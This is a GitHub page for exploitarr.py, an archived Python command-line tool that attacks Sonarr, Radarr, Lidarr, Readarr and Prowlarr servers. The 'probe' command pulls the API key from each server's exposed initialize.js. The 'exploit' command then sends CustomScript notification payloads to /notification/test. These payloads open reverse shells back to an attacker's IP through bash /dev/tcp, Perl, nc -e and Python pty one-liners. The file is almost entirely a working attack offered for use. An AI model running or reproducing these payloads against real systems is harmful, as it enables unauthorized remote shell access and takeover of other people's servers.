This repository has been archived by the owner on Jul 24, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploitarr.py
executable file
·384 lines (326 loc) · 9.73 KB
/
exploitarr.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
from __future__ import annotations
from typing import Optional
import typer
import requests
import re
import ipaddress
from enum import Enum, auto
import urllib3
urllib3.disable_warnings()
app = typer.Typer(name="Exploitarr", add_completion=False,
no_args_is_help=True)
### Typer Callbacks ###
def _validIP(ip: str):
try:
ipaddress.ip_address(ip)
return ip
except:
raise typer.BadParameter(
f"does not appear to be a valid address: `{ip}`")
def _validPort(port: int):
if port > 0xFFFF:
raise typer.BadParameter(f"cannot exceed {0xFFFF}: got `{port}`")
return port
### CLI ###
@app.command()
def probe(host: str):
"""
Probe HOST to check vulnerability
"""
host_info = _probe(host)
if host_info:
exploitable = host
exploitable += typer.style(" is vulnerable\n",
typer.colors.BRIGHT_GREEN)
exploitable += typer.style("Service: ", typer.colors.BRIGHT_MAGENTA)
exploitable += f"{host_info.service}\n"
exploitable += typer.style("API Key: ", typer.colors.BRIGHT_MAGENTA)
exploitable += f"{host_info.apiKey}\n"
exploitable += typer.style("API Root: ", typer.colors.BRIGHT_MAGENTA)
exploitable += f"{host_info.apiRoot}"
typer.echo(exploitable)
else:
notVulnerable(host)
@app.command()
def exploit(
host: str,
ip: str = typer.Option(
...,
help="IP to listen for connection",
envvar="EXPLOITARR_IP",
callback=_validIP
),
port: int = typer.Option(
10001,
help="Port to listen for connection",
envvar="EXPLOITARR_PORT",
callback=_validPort
),
):
"""
Exploit HOST to get reverse shell
"""
host_info = _probe(host)
if not host_info:
notVulnerable(host)
exit(1)
_tryPayloads(host_info, ip, port)
@app.command()
def test():
"""
Run doc tests
"""
import doctest
doctest.testmod()
### Implementation ###
def notVulnerable(host: str):
err = host
err += typer.style(" is not vulnerable", typer.colors.RED)
typer.echo(err)
class Service(Enum):
SONARR = auto()
RADARR = auto()
LIDARR = auto()
READARR = auto()
PROWLARR = auto()
def fromStr(service: str) -> Optional[Service]:
"""
Get Service enum from service name string
>>> Service.fromStr("Sonarr")
<Service.SONARR: 1>
>>> Service.fromStr("readarr")
<Service.READARR: 4>
>>> Service.fromStr("Exploitarr") is None
True
"""
service = service.upper()
if service in Service.__members__:
return Service.__members__[service]
def __str__(self) -> str:
return self.name.capitalize()
def hasSystemProc(self) -> bool:
"""
Return if Service has protected system folders
>>> Service.SONARR.hasSystemProc()
True
>>> Service.LIDARR.hasSystemProc()
False
>>> Service.READARR.hasSystemProc()
False
"""
return not (self == self.LIDARR or self == self.READARR)
class HostInfo:
def __init__(self, host: str, service: Service, apiKey: str, apiRoot: str) -> None:
self.host = host
self.service = service
self.apiKey = apiKey
self.apiRoot = apiRoot
self.systemProc = service.hasSystemProc()
def __str__(self) -> str:
return f"{self.service} {self.host}; {self.apiRoot} {self.apiKey} Proc:{self.systemProc}"
def _probe(host: str) -> Optional[HostInfo]:
"""
Probe a HOST to get instance details if it is vulnerable
"""
host = host.strip().strip("/")
r = None
try:
# initialize.js contains info including apiKey and apiRoot
r = requests.get(f"{host}/initialize.js",
allow_redirects=True, verify=False)
except:
err = typer.style("Could not connect to ", typer.colors.RED)
err += host
typer.echo(err)
exit(1)
# Successful connection
if r and r.status_code == 200:
service = _extractServiceName(r.text)
if service:
return HostInfo(host, service, **_extractInitializeInfo(r.text))
def _extractServiceName(initialize: str) -> Optional[Service]:
r"""
Get Service from initialize.js response
>>> initialize = ("window.Sonarr = {" \
... "\n\tapiRoot: '/api/v3',"
... "\n\tapiKey: 'PLACEHOLDER_KEY',"
... "\n\trelease: '3.0.6.1342-main',"
... "\n\tversion: '3.0.6.1342',"
... "\n\tbranch: 'main',"
... "\n\tanalytics: false,"
... "\n\turlBase: '',"
... "\n\tisProduction: true"
... "\n};")
>>> _extractServiceName(initialize)
<Service.SONARR: 1>
>>> _extractServiceName("window.Exploitarr") is None
True
"""
pattern = re.compile(r"window\.(.+?)[ =]")
matchStr = pattern.search(initialize)
if matchStr:
return Service.fromStr(matchStr.group(1))
def _extractInitializeInfo(initialize: str) -> dict[str, str]:
r"""
Extract apiKey and apiRoot as dict from initialize.js response
>>> initialize = ("window.Sonarr = {" \
... "\n\tapiRoot: '/api/v3',"
... "\n\tapiKey: 'PLACEHOLDER_KEY',"
... "\n\trelease: '3.0.6.1342-main',"
... "\n\tversion: '3.0.6.1342',"
... "\n\tbranch: 'main',"
... "\n\tanalytics: false,"
... "\n\turlBase: '',"
... "\n\tisProduction: true"
... "\n};")
>>> initJSON = _extractInitializeInfo(initialize)
>>> initJSON["apiKey"]
'PLACEHOLDER_KEY'
>>> initJSON["apiRoot"]
'/api/v3'
"""
# Extract apiKey + apiRoot
# Can't directly parse as not compliant JSON so regex is simpler
apiRootPattern = re.compile(r"apiRoot:\s*'(.+?)'")
apiKeyPattern = re.compile(r"apiKey:\s*'(.+?)'")
apiRoot = apiRootPattern.search(initialize)
apiKey = apiKeyPattern.search(initialize)
if not (apiRoot or apiKey):
return
result = {}
result["apiRoot"] = apiRoot.group(1)
result["apiKey"] = apiKey.group(1)
return result
def _tryPayloads(host: HostInfo, ip: str, port: int):
"""
Keep trying payloads until success or there are no payloads left
"""
headers = {
"X-Api-Key": host.apiKey,
"Content-Type": "application/json"
}
for i, payload in enumerate(_getPayload(host, ip, port)):
msg = typer.style("Sending Payload:", typer.colors.GREEN)
typer.echo(f"{msg} {i + 1} ... ", nl=False)
# Send request
r = requests.post(host.host + host.apiRoot +
"/notification/test", headers=headers, data=payload)
if r.status_code == 200:
typer.echo(typer.style("Success!", typer.colors.BRIGHT_GREEN))
return
else:
typer.echo(typer.style("Failure!", typer.colors.RED))
print(r.text, r.status_code)
msg = typer.style(
"Unable to connect successfully :/\nEnsure the device is correctly listening on ", typer.colors.MAGENTA)
msg += f"{ip}:{port}\ne.g. "
msg += typer.style(f"`nc -lvnp {port}`", typer.colors.BRIGHT_BLUE)
typer.echo(msg)
def _getPayload(host: HostInfo, ip: str, port: int):
"""
Iterate through possible payloads. Fill in IP, Port of listening device
"""
if not host.systemProc:
for payload in PAYLOADS["UNPROTECTED"]:
yield payload.format(ip, port)
for payload in PAYLOADS["PROTECTED"]:
yield payload.format(ip, port)
### Payloads ###
# Double {{ }} is required to escape the curly brackets
# \\ required to escape \
PAYLOADS = {
# No System Folder Protection
"UNPROTECTED": [
"""
{{
"name": "exploitarr",
"fields": [
{{
"name": "path",
"value": "/bin/bash"
}},
{{
"name": "arguments",
"value": "-c \\"bash -i >& /dev/tcp/{0}/{1} 0>&1\\""
}}
],
"implementation": "CustomScript",
"configContract": "CustomScriptSettings",
}}
"""
],
# System Folder Protection
"PROTECTED": [
"""
{{
"name": "exploitarr",
"fields": [
{{
"name": "path",
"value": "/usr/bin/perl"
}},
{{
"name": "arguments",
"value": "-E \\"use Socket;$i=qq{{{0}}};$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname(qq{{tcp}}));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,qq{{>&S}});open(STDOUT,qq{{>&S}});open(STDERR,qq{{>&S}});exec(qq{{/bin/bash -i}});}};\\""
}}
],
"implementation": "CustomScript",
"configContract": "CustomScriptSettings",
}}
""",
"""
{{
"name": "exploitarr",
"fields": [
{{
"name": "path",
"value": "/usr/bin/bash"
}},
{{
"name": "arguments",
"value": "-c \\"bash -i >& /dev/tcp/{0}/{1} 0>&1\\""
}}
],
"implementation": "CustomScript",
"configContract": "CustomScriptSettings",
}}
""",
"""
{{
"name": "exploitarr",
"fields": [
{{
"name": "path",
"value": "/usr/bin/nc"
}},
{{
"name": "arguments",
"value": "{0} {1} -e /bin/bash"
}}
],
"implementation": "CustomScript",
"configContract": "CustomScriptSettings",
}}
""",
"""
{{
"name": "exploitarr",
"fields": [
{{
"name": "path",
"value": "/usr/bin/python"
}},
{{
"name": "arguments",
"value": "-c 'import sys,socket,os,pty;s=socket.socket();s.connect((\\"{0}\\",{1}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\"/bin/sh\\")'"
}}
],
"implementation": "CustomScript",
"configContract": "CustomScriptSettings",
}}
"""
]
}
### Main ###
if __name__ == "__main__":
app()